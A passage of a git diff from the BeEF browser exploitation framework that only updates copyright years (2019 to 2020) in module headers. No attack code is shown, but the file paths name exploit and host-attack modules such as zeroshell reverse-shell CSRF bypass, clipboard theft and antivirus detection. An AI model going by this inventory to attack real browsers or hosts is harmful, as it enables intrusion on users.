(c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js index 131d1fddb..45e8f008e 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/config.yaml index 42d3352ef..bb6ac8c58 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/module.rb index 352a98157..9eb4374df 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js index af0c19059..cc6ad6913 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/config.yaml index 98d859081..480220f18 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb index 9ca77c992..423c58dfe 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js index 411e3bf85..35faff3ea 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml index f30834aa5..41bcb9aa9 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb index 4ce264f0e..70274ec90 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js index 323b4d490..b00243f2f 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/config.yaml index 5e11ab4d5..0dd61f15a 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/module.rb index 50c756829..51c9bf8ad 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/module.rb +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/clipboard_theft/command.js b/modules/host/clipboard_theft/command.js index 19b3498be..1f05b0285 100644 --- a/modules/host/clipboard_theft/command.js +++ b/modules/host/clipboard_theft/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/clipboard_theft/config.yaml b/modules/host/clipboard_theft/config.yaml index 54ba148b1..eef47b0c6 100644 --- a/modules/host/clipboard_theft/config.yaml +++ b/modules/host/clipboard_theft/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/clipboard_theft/module.rb b/modules/host/clipboard_theft/module.rb index 4f6938067..dc0ce4da6 100644 --- a/modules/host/clipboard_theft/module.rb +++ b/modules/host/clipboard_theft/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_airdroid/command.js b/modules/host/detect_airdroid/command.js index d81b6a86e..2584cd735 100644 --- a/modules/host/detect_airdroid/command.js +++ b/modules/host/detect_airdroid/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_airdroid/config.yaml b/modules/host/detect_airdroid/config.yaml index 8c28e4e35..9d6d64ecd 100644 --- a/modules/host/detect_airdroid/config.yaml +++ b/modules/host/detect_airdroid/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_airdroid/module.rb b/modules/host/detect_airdroid/module.rb index bbaccbdff..88e3ea9b2 100644 --- a/modules/host/detect_airdroid/module.rb +++ b/modules/host/detect_airdroid/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_antivirus/command.js b/modules/host/detect_antivirus/command.js index 3f40f11fc..32c981333 100644 --- a/modules/host/detect_antivirus/command.js +++ b/modules/host/detect_antivirus/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_antivirus/config.yaml b/modules/host/detect_antivirus/config.yaml index 166f2dc75..fdd5e06ea 100644 --- a/modules/host/detect_antivirus/config.yaml +++ b/modules/host/detect_antivirus/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_antivirus/module.rb b/modules/host/detect_antivirus/module.rb index 3e6b23f4b..9923dbd62 100644 --- a/modules/host/detect_antivirus/module.rb +++ b/modules/host/detect_antivirus/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_coupon_printer/command.js b/modules/host/detect_coupon_printer/command.js index 47dd45546..12dbaca95 100644 --- a/modules/host/detect_coupon_printer/command.js +++ b/modules/host/detect_coupon_printer/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_coupon_printer/config.yaml b/modules/host/detect_coupon_printer/config.yaml index 5244c73f7..3e9d802a0 100644 --- a/modules/host/detect_coupon_printer/config.yaml +++ b/modules/host/detect_coupon_printer/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_coupon_printer/module.rb b/modules/host/detect_coupon_printer/module.rb index 3ce605295..08748358c 100644 --- a/modules/host/detect_coupon_printer/module.rb +++ b/modules/host/detect_coupon_printer/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_cups/command.js b/modules/host/detect_cups/command.js index 620f50ce8..b7bb17ea0 100644 --- a/modules/host/detect_cups/command.js +++ b/modules/host/detect_cups/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_cups/config.yaml b/modules/host/detect_cups/config.yaml index 8846a34df..6e6349681 100644 --- a/modules/host/detect_cups/config.yaml +++ b/modules/host/detect_cups/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_cups/module.rb b/modules/host/detect_cups/module.rb index 2648c20c0..9fd87b48a 100644 --- a/modules/host/detect_cups/module.rb +++ b/modules/host/detect_cups/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_default_browser/command.js b/modules/host/detect_default_browser/command.js index c71ac45b3..e612b8358 100644 --- a/modules/host/detect_default_browser/command.js +++ b/modules/host/detect_default_browser/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_default_browser/config.yaml b/modules/host/detect_default_browser/config.yaml index 39fe49dcb..9de307e33 100644 --- a/modules/host/detect_default_browser/config.yaml +++ b/modules/host/detect_default_browser/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_default_browser/module.rb b/modules/host/detect_default_browser/module.rb index 518522b8d..48ca04842 100644 --- a/modules/host/detect_default_browser/module.rb +++ b/modules/host/detect_default_browser/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_google_desktop/command.js b/modules/host/detect_google_desktop/command.js index e08d69f53..e5db75d00 100644 --- a/modules/host/detect_google_desktop/command.js +++ b/modules/host/detect_google_desktop/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_google_desktop/config.yaml b/modules/host/detect_google_desktop/config.yaml index 11bf70dfc..bd02b9039 100644 --- a/modules/host/detect_google_desktop/config.yaml +++ b/modules/host/detect_google_desktop/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_google_desktop/module.rb b/modules/host/detect_google_desktop/module.rb index 4a1c4daca..3e2e2a342 100644 --- a/modules/host/detect_google_desktop/module.rb +++ b/modules/host/detect_google_desktop/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_hp/command.js b/modules/host/detect_hp/command.js index 40489a540..ee572e3fa 100644 --- a/modules/host/detect_hp/command.js +++ b/modules/host/detect_hp/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_hp/config.yaml b/modules/host/detect_hp/config.yaml index f8ab4b53f..b9fb4e2ca 100644 --- a/modules/host/detect_hp/config.yaml +++ b/modules/host/detect_hp/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_hp/module.rb b/modules/host/detect_hp/module.rb index 206eaee68..694dd5d17 100644 --- a/modules/host/detect_hp/module.rb +++ b/modules/host/detect_hp/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_local_drives/command.js b/modules/host/detect_local_drives/command.js index 5467a6463..680ace498 100644 --- a/modules/host/detect_local_drives/command.js +++ b/modules/host/detect_local_drives/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_local_drives/config.yaml b/modules/host/detect_local_drives/config.yaml index 244f29910..b5ef058ef 100644 --- a/modules/host/detect_local_drives/config.yaml +++ b/modules/host/detect_local_drives/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_local_drives/module.rb b/modules/host/detect_local_drives/module.rb index b14c3cc0c..e1a3aba0a 100644 --- a/modules/host/detect_local_drives/module.rb +++ b/modules/host/detect_local_drives/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_protocol_handlers/command.js b/modules/host/detect_protocol_handlers/command.js index 346ec0c07..0d3c00f6c 100644 --- a/modules/host/detect_protocol_handlers/command.js +++ b/modules/host/detect_protocol_handlers/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_protocol_handlers/config.yaml b/modules/host/detect_protocol_handlers/config.yaml index a94716532..13c0a7955 100644 --- a/modules/host/detect_protocol_handlers/config.yaml +++ b/modules/host/detect_protocol_handlers/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_protocol_handlers/module.rb b/modules/host/detect_protocol_handlers/module.rb index dbb4eaa72..792a43260 100644 --- a/modules/host/detect_protocol_handlers/module.rb +++ b/modules/host/detect_protocol_handlers/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_software/command.js b/modules/host/detect_software/command.js index 37fc39678..2c64fd85e 100644 --- a/modules/host/detect_software/command.js +++ b/modules/host/detect_software/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_software/config.yaml b/modules/host/detect_software/config.yaml index 048db8055..b316b419f 100644 --- a/modules/host/detect_software/config.yaml +++ b/modules/host/detect_software/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_software/module.rb b/modules/host/detect_software/module.rb index ab668d4ca..027ac2c4f 100644 --- a/modules/host/detect_software/module.rb +++ b/modules/host/detect_software/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_users/command.js b/modules/host/detect_users/command.js index 4e50a58d7..f8cde419e 100644 --- a/modules/host/detect_users/command.js +++ b/modules/host/detect_users/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/detect_users/config.yaml b/modules/host/detect_users/config.yaml index 604424819..514af97a3 100644 --- a/modules/host/detect_users/config.yaml +++ b/modules/host/detect_users/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/detect_users/module.rb b/modules/host/detect_users/module.rb index 76a429835..3383d5296 100644 --- a/modules/host/detect_users/module.rb +++ b/modules/host/detect_users/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_battery_status/command.js b/modules/host/get_battery_status/command.js index bb4550d58..5cb4052a8 100644 --- a/modules/host/get_battery_status/command.js +++ b/modules/host/get_battery_status/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/get_battery_status/config.yaml b/modules/host/get_battery_status/config.yaml index 80486f880..43ddc51c1 100644 --- a/modules/host/get_battery_status/config.yaml +++ b/modules/host/get_battery_status/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_battery_status/module.rb b/modules/host/get_battery_status/module.rb index 9eb7419e7..fb375fb05 100644 --- a/modules/host/get_battery_status/module.rb +++ b/modules/host/get_battery_status/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_connection_type/command.js b/modules/host/get_connection_type/command.js index 452f43882..e5b0c6ef2 100755 --- a/modules/host/get_connection_type/command.js +++ b/modules/host/get_connection_type/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/get_connection_type/config.yaml b/modules/host/get_connection_type/config.yaml index 7bb489425..4cc9c4770 100755 --- a/modules/host/get_connection_type/config.yaml +++ b/modules/host/get_connection_type/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_connection_type/module.rb b/modules/host/get_connection_type/module.rb index e91610414..db1a866a2 100755 --- a/modules/host/get_connection_type/module.rb +++ b/modules/host/get_connection_type/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_internal_ip_java/command.js b/modules/host/get_internal_ip_java/command.js index 54678a4b9..e390e5ef5 100755 --- a/modules/host/get_internal_ip_java/command.js +++ b/modules/host/get_internal_ip_java/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/get_internal_ip_java/config.yaml b/modules/host/get_internal_ip_java/config.yaml index 6ec92d793..e14d5d93f 100755 --- a/modules/host/get_internal_ip_java/config.yaml +++ b/modules/host/get_internal_ip_java/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_internal_ip_java/get_internal_ip.java b/modules/host/get_internal_ip_java/get_internal_ip.java index dac990167..bff321e92 100755 --- a/modules/host/get_internal_ip_java/get_internal_ip.java +++ b/modules/host/get_internal_ip_java/get_internal_ip.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/host/get_internal_ip_java/module.rb b/modules/host/get_internal_ip_java/module.rb index 4a90076c7..2d0c3ec1a 100755 --- a/modules/host/get_internal_ip_java/module.rb +++ b/modules/host/get_internal_ip_java/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index faf4dbbc2..dd0673884 100755 --- 